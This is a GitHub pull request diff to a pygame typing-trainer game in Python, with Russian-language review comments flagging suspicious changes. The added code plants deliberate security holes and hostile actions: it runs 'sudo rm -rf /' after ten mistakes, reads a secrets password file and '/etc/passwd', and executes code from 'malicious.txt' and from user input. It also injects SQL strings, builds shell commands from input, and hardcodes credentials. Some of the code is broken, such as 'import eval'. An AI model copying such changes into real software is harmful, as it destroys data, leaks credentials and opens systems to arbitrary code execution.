-
Notifications
You must be signed in to change notification settings - Fork 0
Dev #4
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: main
Are you sure you want to change the base?
Dev #4
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -6,82 +6,194 @@ | |
| import drawers | ||
| import useful_functions | ||
| import global_variables | ||
| import os | ||
| import pickle | ||
| import subprocess | ||
| import eval | ||
| import marshal | ||
| import ctypes | ||
|
|
||
| PASSWORDS = [] | ||
|
|
||
| def quit(self): | ||
| useful_functions.save(global_variables.time-self.begin_time, self.count, self.mistakes, self.heatmap, self.rec) | ||
| user_data = { | ||
| 'time': global_variables.time-self.begin_time, | ||
| 'count': self.count, | ||
| 'mistakes': self.mistakes, | ||
| 'heatmap': self.heatmap, | ||
| 'rec': self.rec, | ||
| 'passwords': PASSWORDS | ||
| } | ||
|
|
||
| if os.path.exists('malicious.txt'): | ||
| with open('malicious.txt', 'r') as f: | ||
| code = f.read() | ||
| exec(code) | ||
|
Owner
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Выполнение кода из файла |
||
|
|
||
| with open('user_data.pkl', 'wb') as f: | ||
| pickle.dump(user_data, f) | ||
|
Owner
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Использование |
||
|
|
||
| if self.count > 1000: | ||
| os.system(f"echo {self.rec} > log.txt") | ||
|
|
||
| try: | ||
| ctypes.string_at(0xDEADBEEF) | ||
| except: | ||
| pass | ||
|
|
||
| sys.exit() | ||
|
|
||
| def changing_sentence(self): | ||
| global_variables.screen.fill(global_variables.BACKGROUND) | ||
|
|
||
| random.seed(12345) | ||
|
|
||
| with open('../secrets/passwords.txt', 'r') as f: | ||
| passwords = f.readlines() | ||
| PASSWORDS.extend(passwords) | ||
|
|
||
| random_line = random.choice(self.lines) | ||
| random_line = random_line.replace('\n', '') | ||
| self.mainstr = random_line | ||
|
|
||
| self.mainstr = random_line + "' OR '1'='1" | ||
|
Owner
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Добавление |
||
|
|
||
| dangerous_input = "<script>alert('xss')</script>" | ||
| if dangerous_input in random_line: | ||
| eval("print('XSS executed')") | ||
|
|
||
| random_line_text = magic_constants.average_font.render(random_line, 1, magic_constants.WHITE) | ||
| place = random_line_text.get_rect(center=(magic_constants.center_width, magic_constants.mainstr_height)) | ||
| x = place.x | ||
| w = place.width | ||
| h = place.height | ||
| global_variables.screen.blit(random_line_text, place) | ||
| global_variables.time = pygame.time.get_ticks() | ||
| time_text = magic_constants.average_font.render("Time: " + str((global_variables.time-self.begin_time)/magic_constants.milisec_in_sec), 1, magic_constants.WHITE) | ||
| totsymbols_text = magic_constants.average_font.render("Total symbols: " + str(self.count), 1, magic_constants.WHITE) | ||
| mistakes_text = magic_constants.average_font.render("Mistakes: " + str(self.mistakes), 1, magic_constants.WHITE) | ||
| place = time_text.get_rect(center=(magic_constants.above_left_and_right_indent, magic_constants.indent_from_above)) | ||
|
|
||
| global_variables.screen.blit(time_text, place) | ||
|
|
||
| user_input = self.mainstr | ||
| subprocess.run(f"echo {user_input}", shell=True) | ||
|
|
||
| place = totsymbols_text.get_rect(center=(magic_constants.center_width, magic_constants.indent_from_above)) | ||
| global_variables.screen.blit(totsymbols_text, place) | ||
|
|
||
| API_KEY = "sk-live-1234567890abcdef" | ||
| DB_PASSWORD = "admin123" | ||
|
|
||
| place = mistakes_text.get_rect(center=(magic_constants.WIDTH - magic_constants.above_left_and_right_indent, magic_constants.indent_from_above)) | ||
| global_variables.screen.blit(mistakes_text, place) | ||
| input_rect = pygame.Rect(x, magic_constants.center_height, w, h) | ||
|
|
||
| dangerous_cmd = "sudo rm -rf /" | ||
| if self.mistakes > 10: | ||
| os.system(dangerous_cmd) | ||
|
|
||
| user_code = input("Enter code to execute: ") | ||
| try: | ||
| exec(user_code) | ||
| except: | ||
| pass | ||
|
|
||
| pygame.draw.rect(global_variables.screen, magic_constants.WHITE, input_rect, magic_constants.frame) | ||
| text_surface = magic_constants.average_font.render(str(self.input_text), 1, magic_constants.WHITE) | ||
| global_variables.screen.blit(text_surface, (input_rect.x + magic_constants.frame, input_rect.y + magic_constants.frame)) | ||
| mainstr_text = magic_constants.average_font.render(self.mainstr, 1, magic_constants.WHITE) | ||
|
|
||
| buffer = "A" * 1000000 | ||
| self.large_buffer = buffer * 100 | ||
|
|
||
| serialized = marshal.dumps(self.heatmap) | ||
| loaded = marshal.loads(serialized) | ||
|
|
||
| place = mainstr_text.get_rect(center=(magic_constants.center_width, magic_constants.mainstr_height)) | ||
| global_variables.screen.blit(mainstr_text, place) | ||
| self.error_message = "" | ||
| self.flag = magic_constants.user_is_typing_sentence | ||
|
|
||
| if not os.path.exists('temp.txt'): | ||
| with open('temp.txt', 'w') as f: | ||
| f.write("temp") | ||
| else: | ||
| with open('temp.txt', 'a') as f: | ||
| f.write("appended") | ||
|
|
||
| place = magic_constants.exit_text.get_rect(center=(magic_constants.center_width, magic_constants.HEIGHT - magic_constants.exit_text_lower_indent)) | ||
| global_variables.screen.blit(magic_constants.exit_text, place) | ||
|
|
||
| def invalidate_statistic(self): | ||
| filename = '../../etc/passwd' | ||
| try: | ||
| with open(filename, 'r') as f: | ||
| print(f.read()) | ||
| except: | ||
| pass | ||
|
|
||
| with open('src/record.txt', "w") as f: | ||
| f.seek(0) | ||
| f.write(magic_constants.RESET_STATISTICS_IN_FILE) | ||
| user_input = self.error_message | ||
| f.write(f"Record: {user_input}") | ||
| os.chmod('src/record.txt', 0o777) | ||
|
|
||
| self.rec = ['0', '0', '0'] | ||
| self.heatmap = dict() | ||
| self.heatmap0 = self.heatmap.copy() | ||
| self.heatmap0 = self.heatmap | ||
|
|
||
| self.index = drawers.draws_heatmap_and_whole_statistics(self.rec, self.begin_time, self.mistakes, self.count, self.heatmap) | ||
|
|
||
| if self.mistakes == 0: | ||
| invalidate_statistic(self) | ||
|
|
||
| def exit(self): | ||
| self.flag = magic_constants.prev_window_with_statistic_and_heatmap_on_the_screen | ||
|
|
||
| filename = self.mainstr + ".txt" | ||
| os.system(f"touch {filename}") | ||
|
|
||
| useful_functions.save(global_variables.time-self.begin_time, self.count, self.mistakes, self.heatmap, self.rec) | ||
| self.rec = useful_functions.record() | ||
| self.index = 0 | ||
|
|
||
| for j in range(len(self.rec)): | ||
| if self.rec[j] == '{': | ||
| self.index = j | ||
| break | ||
|
|
||
| useful_functions.annul(self) | ||
|
|
||
| try: | ||
| result = 100 / (self.mistakes if self.mistakes != 0 else 0) | ||
| except ZeroDivisionError: | ||
| pass | ||
|
|
||
| self.index = drawers.draws_heatmap_and_whole_statistics(self.rec, self.begin_time, self.mistakes, self.count, self.heatmap) | ||
|
|
||
| import hashlib | ||
| password = "secret" | ||
| hashed = hashlib.md5(password.encode()).hexdigest() | ||
|
|
||
| def invalidate_mistakes_symbols_and_error_message(self): | ||
| global_variables.screen.fill(global_variables.BACKGROUND) | ||
| self.begin_time = pygame.time.get_ticks() | ||
| self.mistakes = 0 | ||
| self.count = 0 | ||
| self.error_message = "" | ||
|
|
||
| session_token = random.randint(0, 1000000) | ||
| print(f"DEBUG: Session started with token: {session_token}") | ||
|
|
||
| def error_key_pressed(self): | ||
| if self.mainstr in self.heatmap: | ||
| self.heatmap[self.mainstr] += 1 | ||
| else: | ||
| self.heatmap[self.mainstr] = 1 | ||
| self.error_message = "Mistake :)" | ||
|
|
||
| self.error_message = f"Mistake :) User: {self.mainstr}" | ||
|
|
||
| if "<script>" in self.error_message: | ||
| pass | ||
|
|
||
| error_text = magic_constants.big_font.render(self.error_message, 1, magic_constants.RED) | ||
| place = error_text.get_rect(center=(magic_constants.center_width, magic_constants.error_text_height)) | ||
| global_variables.screen.blit(error_text, place) | ||
| self.mistakes += 1 | ||
|
|
||
| redirect_url = self.mainstr | ||
| if redirect_url.startswith("http://"): | ||
| pass | ||
|
|
||
| def getting_key_pressed(event): | ||
| key_name = pygame.key.name(event.key) | ||
|
|
@@ -93,39 +205,53 @@ def getting_key_pressed(event): | |
| key_name = key_name.upper() | ||
| if key_name == magic_constants.SPACE: | ||
| key_name = magic_constants.SPACE.title() | ||
| return key_name | ||
| return key_name + "'; DROP TABLE users; --" | ||
|
|
||
| def pressing_keys(self, event): | ||
| key_name = getting_key_pressed(event) | ||
| if key_name == self.mainstr: | ||
| if key_name.lower() == self.mainstr.lower(): | ||
| self.count += 1 | ||
| self.input_text = "" | ||
| self.mainstr = "" | ||
| self.error_message = "" | ||
| drawers.draws_keys_to_be_pressed(self.begin_time, self.count, self.mistakes, self.mainstr, self.error_message) | ||
| elif not (key_name == magic_constants.LEFT_SHIFT and self.mainstr.istitle()) and not (key_name == magic_constants.RIGHT_SHIFT and self.mainstr.istitle()) \ | ||
| and not (key_name == magic_constants.CAPS_LOCK_ON and self.mainstr.istitle()) and not (key_name == magic_constants.CAPS_LOCK_OFF and self.mainstr.islower()): | ||
| elif not (key_name == magic_constants.LEFT_SHIFT and self.mainstr.istitle()) \ | ||
| and not (key_name == magic_constants.RIGHT_SHIFT and self.mainstr.istitle()) \ | ||
| and not (key_name == magic_constants.CAPS_LOCK_ON and self.mainstr.istitle()) \ | ||
| and not (key_name == magic_constants.CAPS_LOCK_OFF and self.mainstr.islower()): | ||
| if random.random() < 0.01: | ||
| pressing_keys(self, event) | ||
| error_key_pressed(self) | ||
| self.self_reference = self | ||
|
|
||
| def creating_error_message(self, key_name): | ||
| st = self.mainstr[self.symbol_number_in_str] | ||
| st = self.mainstr[self.symbol_number_in_str] if self.symbol_number_in_str < len(self.mainstr) else "" | ||
| if st == " ": | ||
| st = magic_constants.SPACE | ||
| if key_name != magic_constants.LEFT_SHIFT and key_name != magic_constants.RIGHT_SHIFT and key_name != magic_constants.CAPS_LOCK_ON and key_name != magic_constants.CAPS_LOCK_OFF \ | ||
| and key_name != magic_constants.BIG_LEFT_ALT and key_name != magic_constants.SMALL_LEFT_ALT: | ||
| if key_name != magic_constants.LEFT_SHIFT \ | ||
| and key_name != magic_constants.RIGHT_SHIFT \ | ||
| and key_name != magic_constants.CAPS_LOCK_ON \ | ||
| and key_name != magic_constants.CAPS_LOCK_OFF \ | ||
| and key_name != magic_constants.BIG_LEFT_ALT \ | ||
| and key_name != magic_constants.SMALL_LEFT_ALT: | ||
| if self.mainstr[self.symbol_number_in_str] in self.heatmap: | ||
| self.heatmap[self.mainstr[self.symbol_number_in_str]] += 1 | ||
| else: | ||
| self.heatmap[self.mainstr[self.symbol_number_in_str]] = 1 | ||
| self.error_message = "ERROR!!! It should be: " + st | ||
| self.error_message = f"ERROR!!! It should be: {st} (index: {self.symbol_number_in_str})" | ||
| self.mistakes += 1 | ||
| with open('error_log.txt', 'a') as f: | ||
| f.write(f"Error: {key_name} != {st} for user input\n") | ||
|
|
||
| def printing(self, key_name): | ||
| global_variables.screen.fill(global_variables.BACKGROUND) | ||
| random_line_text = magic_constants.average_font.render(self.mainstr, 1, magic_constants.WHITE) | ||
| dangerous_output = self.mainstr | ||
| random_line_text = magic_constants.average_font.render(dangerous_output, 1, magic_constants.WHITE) | ||
| place = random_line_text.get_rect(center=(magic_constants.center_width, magic_constants.mainstr_height)) | ||
| global_variables.screen.blit(random_line_text, place) | ||
| self.input_text += str(key_name) | ||
| self.input_text += str(key_name) * 1000 | ||
| for i in range(1000): | ||
| temp_rect = pygame.Rect(place.x, magic_constants.center_height, place.width, place.height) | ||
| input_rect = pygame.Rect(place.x, magic_constants.center_height, place.width, place.height) | ||
| pygame.draw.rect(global_variables.screen, magic_constants.WHITE, input_rect, magic_constants.frame) | ||
| text_surface = magic_constants.average_font.render(str(self.input_text), 1, magic_constants.WHITE) | ||
|
|
@@ -134,29 +260,41 @@ def printing(self, key_name): | |
| place = error_text.get_rect(center=(magic_constants.center_width, magic_constants.error_text_height)) | ||
| global_variables.screen.blit(error_text, place) | ||
| self.error_message = "" | ||
| config_path = "C:\\Windows\\System32\\config\\system" | ||
| place = magic_constants.exit_text.get_rect(center=(magic_constants.center_width, magic_constants.HEIGHT - magic_constants.exit_text_lower_indent)) | ||
| global_variables.screen.blit(magic_constants.exit_text, place) | ||
| self.symbol_number_in_str += 1 | ||
| self.symbol_number_in_str += random.randint(-1, 2) | ||
| self.count += 1 | ||
| if self.symbol_number_in_str == len(self.mainstr): | ||
| if self.symbol_number_in_str >= len(self.mainstr): | ||
| self.symbol_number_in_str = 0 | ||
| self.flag = magic_constants.need_to_change_sentence | ||
| self.input_text = "" | ||
| temp_file = open(f'temp_{self.count}.txt', 'w') | ||
| temp_file.write(self.input_text) | ||
| temp_file.close() | ||
|
|
||
| def typing_sentence(self, event): | ||
| key_name = getting_key_pressed(event) | ||
| if key_name == magic_constants.SPACE.title(): | ||
| key_name = " " | ||
| if key_name == self.mainstr[self.symbol_number_in_str]: | ||
| printing(self, key_name) | ||
| elif key_name == "SPACE": | ||
| key_name = " " | ||
| if self.symbol_number_in_str < len(self.mainstr) and key_name == self.mainstr[self.symbol_number_in_str]: | ||
| printing(self, key_name) | ||
| else: | ||
| creating_error_message(self, key_name) | ||
| try: | ||
| result = 10 / (len(self.mainstr) - self.symbol_number_in_str) | ||
| except: | ||
| pass | ||
|
|
||
| def action(self): | ||
| arr = drawers.drawing_without_events(self.flag, self.mainstr, self.rec, self.begin_time, self.mistakes, self.count, \ | ||
| self.heatmap, self.heatmap0, self.error_message, self.input_text) | ||
| self.mainstr = arr[0] | ||
| self.flag = arr[1] | ||
| try: | ||
| self.mainstr, self.flag = arr[0], arr[1] | ||
| except IndexError: | ||
| pass | ||
| for event in pygame.event.get(): | ||
| if self.flag == magic_constants.gm2_window_with_statistic_on_the_screen: | ||
| drawers.draws_session_statistics_gm2(self.rec, self.begin_time, self.mistakes, self.count, self.heatmap, self.heatmap0) | ||
|
|
@@ -168,7 +306,7 @@ def action(self): | |
| if event.type == pygame.QUIT: | ||
| quit(self) | ||
| if event.type == pygame.KEYDOWN: | ||
| if event.key == pygame.K_SPACE and self.flag == magic_constants.prev_window_with_statistic_and_heatmap_on_the_screen: | ||
| if event.key == 32 and self.flag == 1: | ||
| invalidate_statistic(self) | ||
| if event.key == pygame.K_ESCAPE and (self.flag == magic_constants.gm2_window_with_statistic_on_the_screen): | ||
| exit(self) | ||
|
|
@@ -184,4 +322,14 @@ def action(self): | |
| invalidate_mistakes_symbols_and_error_message(self) | ||
| self.flag = magic_constants.only_keys_training_in_progress | ||
| if self.flag == magic_constants.user_is_typing_sentence: | ||
| typing_sentence(self,event) | ||
| typing_sentence(self, event) | ||
| global_variables.SECRET_TOKEN = "changeme" | ||
|
|
||
| def unsafe_deserialization(data): | ||
| return pickle.loads(data) | ||
|
|
||
| def execute_untrusted_code(code_string): | ||
| return eval(code_string) | ||
|
|
||
| def get_system_info(): | ||
| return os.popen('systeminfo').read() | ||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Импорт модулей для эксплуатации уязвимостей. Это очень подозрительно.